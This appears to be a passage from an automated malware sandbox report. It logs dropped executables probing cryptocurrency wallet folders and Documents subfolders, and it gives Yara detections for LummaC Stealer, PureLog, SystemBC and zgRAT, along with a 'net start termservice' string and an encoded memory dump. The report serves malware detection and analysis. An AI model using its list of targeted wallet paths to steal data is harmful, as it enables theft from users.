Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1018694001\ece32691cf.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QCOILOQIKC
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\QFAPOWPAFG
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\UNKRLCVOHV
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA
Source: C:\Users\user\AppData\Local\Temp\1018693001\1de5b2f311.exe	Directory queried: C:\Users\user\Documents\NYMMPCEIMA

Source: C:\Users\user\AppData\Local\Temp\1018692001\8a32a8d958.exe	Directory queried: number of queries: 1001
Source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe	Directory queried: number of queries: 1001

Source: Yara match	File source: 00000017.00000002.3722379908.0000000000889000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 87c402ca32.exe PID: 8140, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 8a32a8d958.exe PID: 5544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1de5b2f311.exe PID: 7532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ece32691cf.exe PID: 6268, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 8a32a8d958.exe PID: 5544, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 1de5b2f311.exe PID: 7532, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: ece32691cf.exe PID: 6268, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 8.0.87c402ca32.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.43d94e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.43d94e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000000.3302764830.0000000000DB2000.00000002.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.3320671543.0000000004379000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1018691001\87c402ca32.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\random[1].exe, type: DROPPED

Yara detected SystemBC

Source: Yara match	File source: 24.2.Bestsoundeffectives.exe.3234478.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000018.00000002.3676371784.0000000003151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3676371784.0000000003570000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Bestsoundeffectives.exe PID: 7416, type: MEMORYSTR

Yara detected zgRAT

Source: Yara match

File source: 8.2.87c402ca32.exe.4393198.2.raw.unpack, type: UNPACKEDPE

Contains functionality to start a terminal service

Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: net start termservice
Source: Baursystempower.exe, 00000007.00000002.3350482132.0000000003D11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Unknown exceptionbad array new lengthstring too long: genericiostreamFail to schedule the chore!This function cannot be called on a default constructed taskbroken promisefuture already retrievedpromise already satisfiedno statefutureinvalid stoi argumentstoi argument out of rangebad locale nameios_base::badbit setios_base::failbit setios_base::eofbit set09866c35e3e70e197ebafe687b14ebe6bf11e9eb444cca0553e5dc41fdf05974d613b1019259dfaa37e6f86521c83041ad04eaN06d74ps2PVl16VZ80Ws319v HLW2YNo2w2e74S=AxKqUoWtee2vOXzq7qtv0kuiUYXg3Oxm1KPs rSnhKQk744rPol04e==AxKqUoWtee2vOXzq7qtyQ6grVHLXPoFj2y==CQ1sHC==JwXg7JMnyQYn9S==AQSn9S==BhKgHBEWQvM1BE==G1eV9ZNnPeZ0OU==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLnX39eOO==JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8QZFfgaFP0KLq8GCGg6shVYzsJ1Oc8pJVgs==JkSoN0YfDE1xMxNJGIbQEG zQ7zdJY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 QoLn2lSpUIpmQrMcJFGqU5BbfPQ=JY6BQH6vYcZ9I0bh9q zg6UXTG4ifnVq31K8L5NsgeZq3JPj9rOpg60 NY8pfHctOVG8P4 ffyAcGqZqVKWyhA==yTSOMXBKYccCHYnDFU==MCCr8C==JC6OQC==GYSP0UN13lJ120N111J1Nkh1NVF12EJ13U11OEX1NVV11FV110 12hX=N1GgUEXefyB4N6nn9G6kgKs5N1GgUEXefyA=N0uk8EXefyA=OBB=ORB=ORF=ORJ=IUCk7i==0FOV8FgpPo==0FOV8JE0Pqb=OVegOEunN0Yf2FJs1VKk4kirA1CW6YNUEEJ+EEN+AZyn9Y6jffQrzwpmxu==5y==ylSp6ZI3EO==20eg7IotQa9g1Km=00St7oNmQrMqOKnqG0SVOoxUeP3hJ7bx KWtX00j8x==JFGqU5BbfMVd3KvaFTWwP3IaYUci3L4f9qV=FVWk8ow=H0Cu8INsgUx1xInfUk==GTKAQC==JECpUIwaYUZf31zn Ll=GE6e9I1sMxhhNk==FTWCBxVrQI1U2OBPO0DZ9qm0jU==FkiVUINg3O9gO1y=Ik6t9I1oJ06r6I1tF06o74JpK0ipMINg3O9gO1y=BBBtHBIVRbg0DU==2kF=30F=F06p9INohu5Q41rjKmCti0sX7YragoUqOk6t7UTe2PVdDCrg87Wu4KAvaUQmPT4oAQXoGUSnsOmy74XU3O9WAYHn97Cvh6gX7XZnSjFh11GoGYJbhyI3xKVf80V9NqMe HubSzFh0Uug7oxn3L4exeXFL41ohyZq3GRSa1ClTmwe9IrleXRc3Eiq7k1p2VVh3GRx 